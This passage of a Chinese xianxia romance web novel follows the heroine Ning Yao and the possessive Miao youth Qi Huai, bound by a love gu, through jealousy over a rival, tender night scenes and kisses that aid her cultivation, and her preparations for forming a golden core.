他喉结轻滚间咽下血气都化作一种难言的甜,唇畔扬起秾艳笑意。 宁瑶耳根一热,摸了摸发烫的耳垂。 “这就是情缠蛊的效用?” “是。” 她干咽一口,一时脑袋都被他话冲击的乱糟糟。若辅以七色花,破境金丹岂非指日可待? 祁淮微歪头,注视着她的眼眸,“尽管利用此蛊,只要蛊一日存在,我便日日寸步不离,你休想赶我离开。”最后一句,他咬中的字眼极重。 她攥了攥拳,“你就不怕,我只是在利用你?利用你达成我的目的,然后杀了你……” 祁淮见她态度略显松动,眼底闪过一抹玩味的狡黠。微微仰头,姿态尽显无害。 “宁瑶,我盼着你来利用。” 只要蛊虫一日存在,他便一日有理由留在她身旁,他要长长久久留在她身边。 宁瑶心中被此话击中,泛起酥酥麻麻的感觉,心跳忍不住地砰砰直跳。 一时她并未开口,两人相顾无言。 良久,她才含糊道:“好,至于你说的苗疆,等我突破金丹我们就去解蛊。” 小猫,还没放弃解蛊…… “好。”祁淮意味深长地浅笑,笑意不达眼底。 宁瑶坐正,任由祁淮的指尖穿梭发间,编结发辫。 他微凉的指腹似有若无擦过她后颈,一触即逝的痒意窜上脊梁,惹得宁瑶忍不住轻轻扭动。往日里从未留意过的细节,此刻被无限放大。 “别动。”低哑嗓音自身后传来。 宁瑶强忍着没动,直到他一声“好了”。几乎起身快步走到门边,一把推开了房门,深深吸了口微凉的空气。 不用回头她也知道,那道身影定然是如影随形地在身后。 她将目光投向院落,只见那些奇花异草生得愈发茂盛。 她忍不住瞟向身侧好整以暇的少年,想起自己从前只当他是个没有思想的傀儡,不由心下赧然,随口问道:“你平日侍弄这些花草,是为了什么?” 祁淮侧过头,只吐出两个字:“养蛊。” 宁瑶喉间一紧,干巴巴地“哦”了一声。 “想看看我的蛊吗?”他忽然凑近,温热的呼吸拂过她敏感的耳廓,甚至带着几分顽劣,故意轻轻吹了口气。 “不必了。”宁瑶干笑一声,强忍着才没跳脚失了仪态,连连摇头,“无非是些虫子罢了,我就不必看了。” 想想那些乱爬的,五颜六色的,长毛的,不长毛的,各种各样的,她就生理不适。 偏偏身边是个来自苗疆的少年,自然是和虫蛇分不开。 见宁瑶浑身写满拒绝,连耳垂也染上了一层浅淡的绯色,好看至极。 他瞧着,喉间溢出一声低低的,愉悦的轻笑,召来一只蓝蝶轻轻盘旋在两人眼前,“也不全然都是难看的蛊。” 宁瑶只觉得眼熟,“这蝴蝶是蛊虫?” 祁淮伸出手,它便听话地飞落在指尖,翕动翅膀,“若是你遇险,它便会告诉我,找到你。” 宁瑶眯着眼打量这只蓝蝶,翅膀在日光下泛着亮闪闪的蓝光,确实比寻常虫子顺眼不少。 “伸手。”祁淮嗓音低柔,带着蛊惑。 她迟疑着摊开掌心,那蓝蝶便轻盈地落了下来,翅尖微微颤动。 宁瑶原以为自己会害怕,可这蓝蝶实在漂亮,她竟没舍得甩开。 祁淮见她虚虚拢着那只蓝蝶,眼神暗了暗,有些莫名的嫉妒。蓝蝶振翅飞落在他肩头停着,自己却凑近,“现在呢?还怕不怕?” “还行吧。”宁瑶梗着脖子嘴硬,她打算出门,祁淮没戴上面具,她忍不住停步,“你不怕被人发现?” “你希望我戴吗?”他温热的呼吸拂过耳畔,牵起她的手抚上他的眼尾,眸子藏着晦暗的光,像在期待什么。 宁瑶怔地一下,随后触电般缩回手,“大家都知道你是我的傀儡,青合宗差点被灭门一案才过不久,若被人发现你是苗疆人,你我都会有麻烦……” 她忙取出面具,踮脚为他系上。 少年顺势低头,任由她在脑后打了个蝴蝶结,眸光一眨不眨地盯紧宁瑶。 “在天道宗期间,你不许摘下来。”她故意板起脸,却瞧见祁淮眼底是一丝得逞的笑意。 宁瑶转身往灵瀑走去,以往祁淮都会落后半步,而此刻他便“光明正大”地与她并肩同行。 绕了一圈,竟见洛子晟站在灵瀑。 见她和祁淮并肩而来,清隽清冷的眉眼霎时覆上寒霜,周身都散发着说不出的郁气。 彼此擦肩而过,洛子晟剑鞘忽转,寒光乍现。 今日他定要试探出这傀儡的底细。 祁淮察觉到剑气,眼底掠过一丝算计。 他故意慢了半拍,交手不过两招,便“不慎”让剑尖刺中肩头,还勉力侧身避开了要害。 一切发生得太快。 只听得衣料撕裂声响起,剑刃已没入肩胛。 洛子晟急忙收势,可终究晚了一步。 祁淮肩上赫然多了个血窟窿,鲜红的血珠汩汩涌出。 祁淮苍白脸上只是掠过一丝痛色,目光越过洛子晟,无声地落在宁瑶身上,“主人,疼。” “洛子晟你做什么。”宁瑶气急,快步上前扶住摇摇欲坠的祁淮。 “我……”洛子晟语塞。 宁瑶急忙包扎,这可不是散架了还能重炼的傀儡,祁淮是活生生的人,会受伤,会疼的。 “主人,他定不是故意的。”祁淮阴郁深邃的眼,朝着洛子晟投去一个得逞般的笑,三分讥诮七分挑衅。 作者有话说:计划这个月拿到全勤[狗头叼玫瑰]剩余10天努努力。 虽然数据拉的我不敢深思(滑倒在读者身前躺尸,错。躺平,对。) 第55章 祁淮眼神都是明晃晃的肆无忌惮。 ——他可从没说过,自己不是故意的。 洛子晟攥紧拳头指节捏得发白,眸色一沉,恨不得找出无数个理由证明自己。 他冰冷的目光钉在祁淮身上,“我只是试探,并无害他之意,宁瑶,你信我吗?” 宁瑶连正眼都没给他,眼风淡淡扫过去,只给了一个余光,“伤他就是不该。” 她话音顿了一顿,像是把什么情绪咽了回去,话锋一转:“他是我的傀儡,动他便是与我为敌。洛子晟,以后你别再打他的主意了。” 她语气听着平静,其实已是告诉他,此事到此为止,明确划下了界线。 洛子晟看着她算不上好脸色的冷淡侧脸,心头那股火硬生生被压成了涩意。 这已不是她第一次为那傀儡与他争执……每次见她护着旁人,仍像被细针扎着。 明明当初,宁瑶满心满眼都是他,是他自己弄丢了。如今她眼里,真有了旁人的影子。 就在这时,而祁淮恰好侧头,铃音轻响,眼神带着几分危险。 四目相对间,他眼底浮起几分玩味,祁淮故意朝宁瑶靠着贴近半步,果然瞥见洛子晟瞬间绷紧的下颌。 明晃晃地不爽快要溢出,他便愉快地挑眉,嘴角弯起一丝得逞的弧度。 替身?他自然不屑做。 可每次看见那张与自己相似的脸,心底那股无名火便压制不住地窜动。 若是这世上没有第二张这样的脸…… 小猫的目光,是不是就会永远只停在他一人身上了?小猫便只会看自己一人,记得他一人。 祁淮再未看洛子晟一眼,所有的注意力都集中在宁瑶身上。 宁瑶浑然不觉有暗潮汹涌,只顾着仔细包扎祁淮的伤口。 处理完伤口,宁瑶一抬眼,却见祁淮唇角微扬,似乎在看她时快速敛去的偷笑。 她顿时气不打一处来,忍不住瞪他一眼,目光里半是担忧半是探究。 被抓个正着,祁淮神色一变,无缝切换成无辜模样,还故作无恙地耸了耸肩。 这一动牵到伤口,他轻蹙眉头,适时地抽了口冷气。 宁瑶打着腹稿,正盘算着怎么警告洛子晟别再生事,注意力又被祁淮牵了回去。 祁淮岂容小猫的目光分给旁人。 偏偏洛子晟计上心头,虽不情愿,仍上前一步不由分说扶住祁淮的手臂:“你重,宁师妹扶不动,我来。” 宁瑶瞧着祁淮不着痕迹后退半步,身形一晃,差点踉跄着虚弱模样,眼看要跌倒,宁瑶下意识伸手将祁淮扶稳,他才站稳靠在她身上。 祁淮侧身微挡,隔开洛子晟望向宁瑶的视线,声音放轻:“不必劳烦别人,我有主人就好。” 再听“主人”二字,宁瑶心头泛起一丝微妙的异样,仿佛沾染了什么不可言说的调情。 她耳根一热,几乎是立刻扶着祁淮转身就走。 刚离开洛子晟的视线,祁淮脚步便是一顿,顺势将宁瑶带进怀里。 他忍痛收紧手臂,他不顾疼痛地抱紧,下颌轻蹭她的发顶,嗓音闷闷的:“主人,我好疼……” 不许看别人,只看我。 灼热的眸光里藏着偏执的占有,面上却一副少见的委屈模样。 宁瑶没看懂他这变脸似的操作,抬起眼眸半是警告半是无奈道:“还没回屋呢,你别乱来。” 祁淮眼中闪过狡黠,故意曲解她的意思,几乎是健步如飞地跟着她踏进传送阵。 一进小院,他立刻故技重施,像被霜打过的茄子般软软靠在她肩上,手臂环住她的肩不肯松开。 阴影掩去他唇边得逞的笑,闻着她发丝馨香,喉间溢出一声似有若无的轻叹。 宁瑶脊背瞬间绷直,呼吸都放轻了:“快松手,你、你伤口会裂开的!” “主人,这里疼。” 祁淮顺从地松开力道,长睫低垂,指向那片洇出血色的衣襟,目光却紧紧锁住她蹙起的眉心。 见宁瑶下意识咬唇,他伸手替她抚平眉间褶皱。 宁瑶一把将他的手拿下来。 微凉的指尖轻勾过她的指尖,得寸进尺地挤进指缝,等宁瑶回过神,两人早已十指相缠。 她无奈看着祁淮,却见少年深邃的眸也看向自己一眨不眨。 现在听到祁淮呼痛,她心脏似被无形之物击中。 以往祁淮受了重伤,都没叫过一声疼。她那时只当是个铁打的傀儡,自然没什么疼痛的说法,更不会和一个活生生的人联系在一起。 如今才明白,这人以往难保不是强忍着不说。 为了演好这个傀儡,他当真是尽职尽责。 “从前怎么不见你喊疼?”她扬起交握的手,那骨节分明的手却像长在她手上似的,晃了晃却没晃掉。 “不愿你担心。”祁淮语气仍是说得云淡风轻,指尖却骤然收力。旋即怕弄疼她般松了三分,仍保持着恰到好处的纠缠。 宁瑶简直气笑:“现在倒不怕了?” 祁淮微歪头着扬起个古怪的笑,不似平日惯常的那般标准无害,反而透着几分别样的微妙,一字一顿道:“怕你,不再担心。” 宁瑶别开脸压下声音轻哼,撇了撇嘴,认命地叹气一口。 她不说清自己是什么心理,到底没甩开那只手,反而借力将祁淮按在榻边坐下,“好了,松开手,我看看你的伤势。” “小伤而已。”祁淮贪恋地摩挲她手背一下,不舍地放开她的手。 宁瑶轻轻地扯开染血的衣襟,目光扫过暗红伤口。 祁淮瞧着宁瑶靠近,喉结轻轻地滚动。 宁瑶对着包扎的伤口轻轻吹了一下,“这伤势避开要害了,现在还疼吗?” 祁淮感受着小猫脑袋在胸口的动作,一双清亮眸光落在裸露的肌肤,温风似羽毛挠了一下心尖,他嗓音低哑道:“不疼了。” 他幽深的眸子直勾勾得盯紧了她,宁瑶趁他答话的间隙,飞速从指尖弹了一粒药丸丢进他唇间。 祁淮来不及反应,丹药入口即化,化为清甜漫开,伤口以肉眼可见地愈合如初。 “现在还疼吗?”宁瑶仔细看着他面上神色。 祁淮望着眼光洁的皮肤,压下一抹难言的失落。伤口大好,他似无意还扯开半幅衣襟,牵引着宁瑶的掌心贴在心口肌肤。 手指落处,触及升温。宁瑶掌心的热,似是一股无形的战栗传遍全身。 祁淮喉结一滚,眼底翻涌着势不可挡的暗潮,“好了。” 在宁瑶松了口气,看向他一笑的刹那,不等她反应,眼前突然陷入了黑暗。 祁淮用手覆住了她的双眼,“别再看我的脸。” “为何?” 他嗓音里带着蛊惑的颤音,带着点危险的意味,试探性地说道:“我与洛子晟生着相同的脸,怕你哪天透过我看见了别人,或是认错了我们。” 最后半句他几乎挤出唇齿,字眼说得夸张,可他视线却牢牢地盯着她。 少女的纤长睫毛剐蹭掌心,带来一阵难以言喻的,细密的痒意。 祁淮靠近,又补了一句,“闭眼。” 宁瑶莫名觉得有些好笑,伸手要去拨开他覆在她眼上的手,却被他反手扣住了腕子往怀里一带。 吐息骤然贴近,在肌肤将触未触的刹那停住。 不能再近了,他怕惊走这只总想溜走的小猫。 宁瑶道:“我分得清你和洛子晟。” “空口白话。”祁淮眸底闪过危险的光,指腹摩挲了一下她的眼皮,感受着她的眼球转动的小动作。 这要怎么证明?简直是无解的题。 “真的,我保证。”宁瑶没忍住地噗嗤一笑。 从前当他是傀儡时,这人将所有情绪藏得滴水不漏;如今卸下伪装,为什么这般有趣。 祁淮有些吃味,哼了一声松开手,盯着她缓缓睁开的亮眸。 总有一天,他会让这双眼睛里只映得出他一个人的影子。 思索他以后不会三天两头就要验证什么,宁瑶决定给他找点事做,不然老找自己“麻烦”不成。 正琢磨着怎么支开他,肚子忽然不争气地“咕”了一声。 祁淮垂眸低笑,沙哑的声线里却有些莫名的苏感。 宁瑶耳根一热,梗着脖子道:“笑什么?修炼也是要力气的。”说着逃也似的坐到书案前。 “好,等着。”祁淮轻笑离开。 宁瑶等的百无聊赖的功夫,干脆铺纸研起特质的颜料,拿出自制的木笔,沾了颜料就信手勾勒起Q版小人。 这是她穿越前在孤儿院养成的习惯。 孤儿院时的玩具总是少之又少,她转而喜欢上了画画。 孤儿院自然提供不了的昂贵画具,就用廉价的水彩笔在白纸上画满小人儿,这是她生活挥之不去的彩色。 高三毕业打工又给自己买了个几百块的手机,她就可以对着视频一比一的学。这些卡通Q版人物,又萌又可爱,最主要的是简单、易上手。 她的笔尖细细描摹某人上挑的眼尾,不忘在眼下点两颗标志性的小痣。正给画中人腰间添上银链铃铛时,祁淮端着食盒走了过来。 她全程聚精会神,没有发现有人靠近,直到鼻翼忽然嗅到一缕甜香,抬头就撞进含笑的眸子里。 祁淮端着刚出笼的鸡蛋蒸糕倚在桌边,不知看了多久。 她瞧着着他噙着笑的模样,心想着祁淮怎么走路没声,不过糕点看样子还不错,她还能吃嘛。 宁瑶捻起糕点吃了一口,下意识称赞:“好吃。”吃完又觉得自己是不是太过理所当然了。 瞧着祁淮盯在她的画上,顾不得颜料未干,宁瑶慌忙扑过去要遮,轻咳一声:“随便画的!” 却见那人指尖已点上未干的颜料,指尖捻了捻。 作者有话说:回收一些伏笔了 第56章 祁淮记性好,可清晰记得宁瑶曾经在一张信纸上,留下过一个简笔勾勒的小人儿。 “这画风倒是别致。” 不知是不是故意,祁淮微歪头想凑近些,铃音轻响,反而是多了几分意味不明的玩味。 宁瑶脸颊微红,慌忙将画纸往身下又藏了藏,“有吗?” 祁淮眸光所见那一闪而过颜料未干的脸颊上,分明描着他的眉眼。 “所以,画的是我?”祁淮轻笑着倾身,指尖在桌面轻轻叩击。 被他一语中的,宁瑶耳廓更红了,梗着脖子否认道:“才不是,你看错了。” 祁淮一听,顿时微妙地眯眼含笑。 口是心非的小猫。 他瞬间心情大好,指尖捻了捻未干的颜料,在她垂眸掩着的时候,佯装不经意地擦过她的脸颊,理了理她的碎发,“好,我知道了。” 宁瑶心慌地眨了眨眼,竟全然没太在意祁淮的举动。 修仙界哪有人见过Q版画法,虽说她只是随手涂鸦,可被祁淮这般明晃晃地瞧去,竟是莫名的心慌。 毕竟不是谁都能欣赏来这种Q版画风,说不准有人嫌弃丑了,她画技又称不上好…… 她偷瞄祁淮一眼,却见他只是含笑看她,眼底不见半分的异样神色。 她莫名松口气,掩饰性地抬眸眨了眨眼,扯唇干笑了两声:“我随便画的玩。” 又怕祁淮继续追问深究,宁瑶先发制人又吃了一口糕点,含糊转移话头道,“说起来你既然不是傀儡,怎会做这些糕点?”做的还怪好吃。 话一出口,宁瑶顿时悔得想咬舌。 自己真是没话题,硬找话题。 当初宁瑶以为他是傀儡时才觉得合理。 毕竟哪有人能十全十美,除了傀儡身份才能自圆其说。 可祁淮就是这般,他未曾变,变得只是人与“傀儡”的身份。 祁淮心痒痒地瞧着宁瑶脸颊变成小花猫,鼓着腮帮子,她还抬起亮眸时不时看他一眼,压下幽深的眸子里危险的渴意。 因誓言反噬作用,祁淮含糊着道:“这些在书中看几眼,便该会了。” “这技能点能分我一半就好了。”宁瑶羡慕得眼睛发了亮,却见那人漫不经心捻着书页随意翻阅,眼尾扫过她鼓起的腮帮暗喜。 他忽地又倾身靠近,极轻的“嗯”了一声。 伴着这声轻应,他陡然又伸出手,微凉指尖落在她唇角。呼吸交缠的瞬间,他只是简单触碰了一下,就缓缓退来。 糕点碎屑从他指尖的触碰瞬间坠落在桌上,又被他袖口拂去。 宁瑶僵坐原地,她似乎听见震耳欲聋的打鼓声。像极了从遥远的地方传来,陌生得令她有片刻茫然无措。 等冷静下来,宁瑶才后知后觉地发现,每当祁淮触碰到她,灵力就像被风吹动的琴弦般轻轻震颤,连带体内那股莫名的燥意也随之涌动。 这究竟是蛊虫作祟,还是…… 自从摸到金丹瓶颈后,她从未因这蛊虫向祁淮开过口。 此刻更怕流露出什么奇怪神态,宁瑶连忙将祁淮推出门去,假装专注地继续作画。 待最后一笔落下,细心晾干画卷,宁瑶瞧着画作上的Q版小儿,极为满意抱臂一笑,卷好搁在书案一角。 她慵懒地伸了懒腰,抬眼望向窗外夜色已深。正欲解散发辫,铜镜中映出侧脸一道靛青颜料。 不知何时染上的。 “这是哪来的?”她疑惑地触到颜料,忽有所觉地回眸朝门外唤道,“祁淮!” 门扉轻响,少年端着水盆施施然踏入,铃音清脆作响。 祁淮佯装未见她控诉的眼神,唇畔漾起无辜的笑意:“怎么了?” “我脸上。”宁瑶指着腮边痕迹。 “哎,这是怎么不小心染上的?”祁淮明知故问。 祁淮装的完全没有破绽,宁瑶都差点要怀疑是不是自己记错了。 他忽的倾身,微凉帕子贴上肌肤,宁瑶伸手打算拿下巾帕自己来,他却似早有预料般抬手举高。 “我自己来。”宁瑶伸手去够,却被对方用空着的手轻按回妆凳上。 “坐好,别动。”少年手扣住她后脑勺,另一手持帕细细擦拭,目光再不加掩饰地投下。 宁瑶撇了撇嘴角,乖乖坐好。 祁淮目光游移在她眉眼,流连她因赌气而微鼓的腮帮,瞧着某只小猫毫无防备的样子,愉快地放慢了速度。 宁瑶被他瞧着,自己忍不住先干咽一口,“你能不能快一点?” “慢工出细活。”祁淮眸底满是狡黠,喉间溢出轻笑,“怎么把自己弄得像只小花猫?” 她睁圆了杏眼,瞧着罪魁祸首倒打一耙,“再说?” “小花猫。”他俯身与她平视,眸里翻涌着她读不懂的暗潮,微用力蹭了蹭脸颊的颜料。 宁瑶被祁淮理直气壮的耍无赖逗笑了,“不许说了,也不许笑。” 祁淮这才笑着没再开口,擦完任由宁瑶一溜烟地钻进了纱幔之后。 夜深人静,直到她呼吸均匀睡下了,祁淮这才缓慢移步,悄然展开那一幅画。 烛火摇曳中,祁淮唇角无声地勾起。 原来在她眼里,自己竟是这般模样? 奇特的笔触完全超脱他所知的任何一种,指尖顺着墨线游走,仿佛在模仿着少女执笔时的神情姿态。 她总是给他带来意想不到的惊喜。 病态的欢愉在心底蔓延,他迫不及待地用记事珠印下画卷的每一处细节。 ——真想藏于身上。 此刻若是收走,怕是不好,小猫醒来她该着急了。要等个恰当的时机,等小猫亲自交于他手心…… 祁淮在原地驻足良久,才恋恋不舍地将画卷复原。 正整理她书案上的颜料画笔时,耳尖忽然一动。 床帐内传来细微的动静,像是压抑的喘息。 他感受到无声的律动在掌心,一股陌生的战栗,他似有所感,指尖将纱幔轻撩开一角,撩开纱幔的刹那,祁淮呼吸一滞。 宁瑶面泛潮红地蜷在锦被间,小衣不知何时已被扯松,露出脖颈小片雪白的肌肤。 “热……”宁瑶无意识地呻吟,腕间掩饰体质的宝石手链微微颤动。 从梦境中挣扎醒来时,宁瑶只觉得浑身汗湿,火灵气在经脉里横冲直撞。 勉强睁开眼,正对上祁淮俯身探来的身影。 他微凉的指尖才触到她的额头,就被不正常的体温烫得眉头微蹙。 顿时凉意的灵气顺着额头流入,她便没能抗拒。 祁淮能感知到蛊虫本该沉寂状态,此刻却异常活跃,带着她体内的火灵气四处“奔走”。 “还难受吗?”祁淮俯身贴近,薄唇轻触她发烫的额间,嗓音里带着蛊惑的沙哑。 作者有话说:工作忙,写不满[爆哭]等我后面补一补 第57章 宁瑶听见他嗓音低哑,下意识就摇了摇头。 她的视线不由自主地黏在少年的昳丽精致的容颜,目光流转在他的唇上。 那是一种健康的淡粉色。 看得宁瑶心头一跳,慌忙垂下脑袋,耳根发热,垂下头略带无措地小声嘟囔道:“好、好多了。我该睡啦,多谢。” 她手腕轻轻一转就从他掌心滑了出来,额角却仿佛还残留的温度。 宁瑶拽过锦被把自己裹紧,默默念叨:快睡快睡,别再乱想了。 可两道灵气交缠的余韵未散,蛊虫表面乖巧不再闹腾,暗地里却像在引着她去寻什么冰凉的东西。 宁瑶咬紧下唇,这一股异样感挥之不去。 ——不够,似乎差点什么。 她郁闷地腹诽,蛊虫脾气还挺大,半夜三更都不让人安生。 祁淮望着骤然空落的掌心,再看她已经心安理得准备会周公的模样,眼底暗潮翻涌,顿时心痒难耐。 起初情缠蛊于他影响不大,可随着时间的推移,他能肉眼可见地察觉出对他的影响脱离掌控。 宁瑶屏息等了半晌,竟没听见祁淮躺下的声响。 她正觉奇怪,清冽草木气息便漫了过来。 祁淮悄无声息地贴着她后背躺下,整个人严严实实地隔着锦被。 没有任何征兆,更没有多余动作,躺下的动作倒是利落得很。 宁瑶忍不住偏头瞥去,少年眼睫低垂,颊边却浮着一丝不正常的薄红。 “祁淮你怎么了?” 祁淮闭着眼低低一笑,嗓音沙哑:“无事。” “哦。”宁瑶将信将疑地又多看了两眼。 同榻而眠还是在清醒的情况下她不习惯,便悄悄往床里侧挪了挪。 宁瑶猝不及防被探进被子的手扣住手腕,整个人被带着翻了个身,直直撞进他怀里。 “还让不让人睡了?”宁瑶用眼神控诉着。 方才压下的异样感又卷土重来。 “碰碰我。”祁淮嗓音压得极低,攥着她的手按在自己脖颈。他明明是该微凉的指尖,此刻却热得惊人。 宁瑶怔住时,他手臂又收紧几分,力道克制得恰到好处。 “难道情缠蛊也在影响你?” 宁瑶恍然大悟般压低声音,想起他之前说的“肌肤相亲方可缓解”,不由心悸一动。 原来谁都逃不过这蛊虫的纠缠。 祁淮这算不算搬起石头砸自己的脚? 见她陷入沉思,祁淮垂下眸,视线落在她一举一动。 眼底恶劣的狡黠险些压不住,拉入怀里的力道更重了重,迫切地拉近和她的距离。 她体内热意挟着莫名的渴求席卷而来,宁瑶索性转身与祁淮面对面。 四目相对的刹那,宁瑶不自在地掀开锦被,透了口气,“所以,得快点解决才好。” 祁淮闷笑出声,得寸进尺地凑近:“解决什么?是解决蛊虫,还是解决我?” “我不会杀你。”宁瑶说得认真。 他嘴角笑意微滞,挑眉时眼底掠过困惑,话本里是这么演的吗? 他似乎学的不够好。 “我不会解决你。”宁瑶再一次重申道。 言外之意是这蛊虫该被解决。 宁瑶指尖无意识绞着被角,火灵根带来的燥热让她不自觉地向祁淮靠近。 ——靠近就不会难受。 宁瑶本不是一个做事不顾及后果的人,祁淮身上带着令她安心的气息,为了身体着想,而且还能提高修为,她自然不能亏待自己。 “怎么肌肤相亲?” “就随便碰哪里都好……”祁淮哑声诱哄。 他瞧着宁瑶主动倾身而来,眼底得逞的笑意几乎藏不住,更险些压不住上扬的嘴角。 宁瑶红晕从脖颈一路漫上来,放松了轻抱着他,发顶轻轻蹭过他颈窝:“这样就好,不许得寸进尺了。” 窝在祁淮怀里,鼻尖萦绕着都是他身上草木清香,她微微仰头,脸颊蹭过他颈侧微凉的肌肤,恰好感觉下方有什么东西快速滚动了一下。 祁淮整个人瞬间僵住,唯有被她蹭过的喉结再次不受控地滚动。 颈侧肌肤迅速泛起酥麻感窜过脊椎,带来压抑又兴奋的战栗。 祁淮呼吸放轻了,生怕一丝微小的动作都会惊走怀中这只的猫。 宁瑶清晰地感知滚动得更急了,好奇心上涌。 她记得在哪本闲书里看过,说男子的喉结最是敏感。 她摸了,祁淮会怎么样? 这心思一动,宁瑶已抬手轻轻碰了碰那处凸起,明知故问道:“这里怎么会动?” 指尖下的肌肤微凉,随着它急促滑动,竟有莫名触及生温出一种难耐的热。 她侧耳听见头顶传来一道加重的、紊乱的吸气声。 下一秒,宁瑶逗弄的手便被他握住。 少年垂着眼眸,纤长睫毛掩住眸底翻涌的深色,唇瓣有意无意克制不住地轻擦在她的蓬松的发顶。 一股温和的灵气随即自两人相贴的掌心,试探性地涌入体内。 宁瑶恍然未觉,嘴角还憋着一丝狡黠的笑。 全然未觉头顶那道目光已变得幽深难耐,是一种近乎贪婪的占有。 祁淮指节收拢,紧了紧的牵上她的手,低声问道:“感觉好些了吗?” “嗯。” 宁瑶又悄悄挪近了些,肩头轻轻抵在祁淮的肩线。 她能感觉到体内的蛊虫彻底安静下来,更让她在意的是这贴近的距离,确实对修炼确实大有裨益。 特别是当双手交握的刹那,一股熟悉又陌生的灵气自然而然地牵引着她的灵力在经脉中流转。 火灵气的躁动的渐渐化作难以言喻的舒适感,她舒服得侧过头,目光不经意间落在祁淮微抿的唇上。 心口又一次不听使唤地怦怦作响。 反正也不是第一次了,宁瑶破罐子破摔想着,闭上眼,任由思绪放空,缓缓在祁淮气息包围下沉入睡梦。 而她身旁的某人,却睁着眼直到天明。 听见宁瑶呼吸变得均匀绵长,祁淮紧绷的身形不着痕迹地松了松。 他将她往怀里一带,低头轻嗅她发间馨香。 真好闻。 她的燥热是平息了,他的,却才刚刚开始。 祁淮微歪头,眸光一寸寸游移在她眉眼。强忍着翻涌的情愫,轻轻地凑近,在她唇上落下一个轻若羽毛的吻。 偷得一吻,祁淮心满意足地一笑。 她无意识地攥紧他的手指,像只收起爪子的猫。毫无防备的姿态让他阴郁眸色轻轻软下,转瞬想到一事又变得更为幽深。 小猫对其他人也会这般依赖吗? 还是只对他这般? 想尽快带她回苗疆…… * 翌日,待宁瑶醒来时,发现自己又滚进了少年怀中。 少年微敞开的衣襟,露出恰好是个V字,宁瑶迷糊中看得欣喜。 早晨醒来就有美色在前。 许是他身上自带令人惬意的微凉,她迷迷糊糊地在祁淮胸前蹭了蹭微凉的衣料,肌肤时不时有她的发丝剐蹭过。 宁瑶看不见的时刻,喉结剧烈地滚动。 她是第一次正眼瞧着他的睡颜,伸手戳了戳他的脸颊,逗弄着轻揉了揉他的耳垂。 手感弹嫩,皮肤白皙,眉眼深邃,棱角分明,眼下两颗小痣平添诱惑。 让她都有点羡慕了的皮肤状态。 这明明就是人嘛,以前自己为什么竟不早一点发现。 玩心稍稍满足后,祁淮却还闭着眼,呼吸平稳,宁瑶悄悄地凑近端详着。 祁淮下意识屏住呼吸,手骤然紧了紧,又放松。 其实他早在她醒前就已清醒,一直闭目装睡。 直到感受到宁瑶温热的呼吸拂过脸,却又悬停不前,心底莫名涌起一阵说不清的失落。 宁瑶暗自数着,祁淮怎么连睫毛都生得这么长。 欣赏够了,她正打算轻手轻脚地溜下榻。 岂容这温存时刻草草结束,祁淮指尖收紧,握住她欲抽离的手,佯装刚醒般掀开眼帘,恰好撞入她的眸光中。 宁瑶动作一僵,讪讪地弯眸笑了笑,正要后退,他却突然逼近,却停住了。 宁瑶呼吸不禁一滞。 祁淮的气息已将她完全笼罩,指尖顺着她的指节缓缓滑入指缝,十指相扣,带来一阵异样的酥麻。 祁淮垂眸,“凑这么近,想做什么?嗯?” 宁瑶故作镇定地别开脸,“数眼睫毛不行呀?” 他喉间溢出低沉笑声,眼尾两颗小痣衬托祁淮此刻像个要吸她精气的妖精,妖冶异样。 她没见过他这般,一时看得出神。 “刚替你探过灵脉。”祁淮贴近,吐息都莫名染上一丝压抑的蛊惑,“金丹瓶颈快突破了,想不想,更快些?” 宁瑶被这突兀的问话,撞得心神荡漾,视线不由自主落在他唇上,呆愣愣点头:“想啊……” 祁淮轻轻收拢交握的手,如同诱哄主动跳进怀里的小猫,又抛出好吃的饵:“那,再靠近些。” 宁瑶向前倾了半身,忽然醒悟为何要听他的,正要后撤,却被他扣住腰肢按回原处。 祁淮眼底狡黠漏了馅:“躲什么?不是你自己先凑过来的?” 他轻扣着她的后脑勺,“别躲。” 说完带着一种“慢一步就前功尽弃”的速度低头,轻轻贴吻在她的唇角。 这书上看来的法子,慢一步,都不作数了。 因为,小猫会躲,还可能挠他一下。 宁瑶瞬间瞪圆眼睛,还没等反应过来,祁淮已经轻巧地退开,只留下唇上若有似无的凉意。 她整个人都懵了,却意外地察觉到修为瓶颈似乎松动了一丝。 难道是因为刚才…… 这个念头让宁瑶鬼使神差地又凑上前,飞快地在祁淮微凉的唇上轻啄了一口。 果然,两股灵气再次交融,瓶颈松动的感觉更明显了,甚至让她摸到了结丹的异样感,压下外溢的灵气。 突破筑基,抵达金丹指日可待。 “我这是为了早日结丹。”宁瑶抬眸对上摄人心魂的眼,小声解释。 说完才意识到自己说了什么,整个人红着脸僵着,恨不得给自己刨个坑。 祁淮的手轻轻环在她腰间,指尖不着痕迹地收紧了一瞬,又缓缓松开。 他垂眸看着慌不择路从床榻离去的少女,眼底翻涌着晦暗不明的情绪。 指尖抚过还残留着她温度的唇瓣,他轻轻勾起嘴角。 原来她主动的是这种感觉。 比任何蛊都更让他上瘾。 鹅黄色人影一落地洗漱完便溜地飞快,闪身跟来的少年,指尖拎着她的后衣领,嘴角噙笑,故意压低嗓音:“跑什么,主人?” “别这么叫……那,我不是快结丹嘛,这七色花得寻人帮我炼化成固金丹呀。”宁瑶扬起惯常的笑意,笑得甜美异常,故作镇定地眨了眨眼。 被她的笑意晃了一下眼,祁淮下意识松了手。 宁瑶原是想等左长泽的回信,谁知左长泽来信说无染大师近日闭关了。 她收到来信,捏着信纸正发愁,脑中陡然灵光一现。 云冉冉? 云冉冉是原著女主,炼丹天赋堪称一绝,她当即转身就往云冉冉住处去。 小院清净,宁瑶叩门说明来意,“云师妹,我有一事相求。” 开门的少女微微一怔,杏眸中掠过一丝讶异,随即侧身将她迎进屋中。 宁瑶随她走进,目光不经意一扫,屋内陈设简陋至极,收拾得却井井有条,窗台养着几株翠绿的药草。 云冉冉虽是土木双灵根,炼丹天赋却极为出众。 宁瑶取出固金丹的方子和材料,直言道:“自然不会让师妹白忙。炼成的固金丹若有剩余,便都赠予师妹,另外这些灵石,也是我的一点心意。” 云冉冉瞥见一袋灵石,睁大眼惊呼道:“这么多……” “应当的。”宁瑶笑着推过去,“不能让你白白耗费心神。” 云冉冉欢喜收下,抬眼略带微妙的好奇,问:“师姐是要结丹了?” 宁瑶对上她清澈得不染尘埃的目光,只含糊一笑:“快啦。” 云冉冉做事利落,收下材料和灵石后,不到三日,真将固金丹送到了宁瑶手中。 筑基结丹需历四重雷劫,宁瑶提前跟师尊报备后,麻利地收拾好小包袱,直奔天道峰避雷阵。 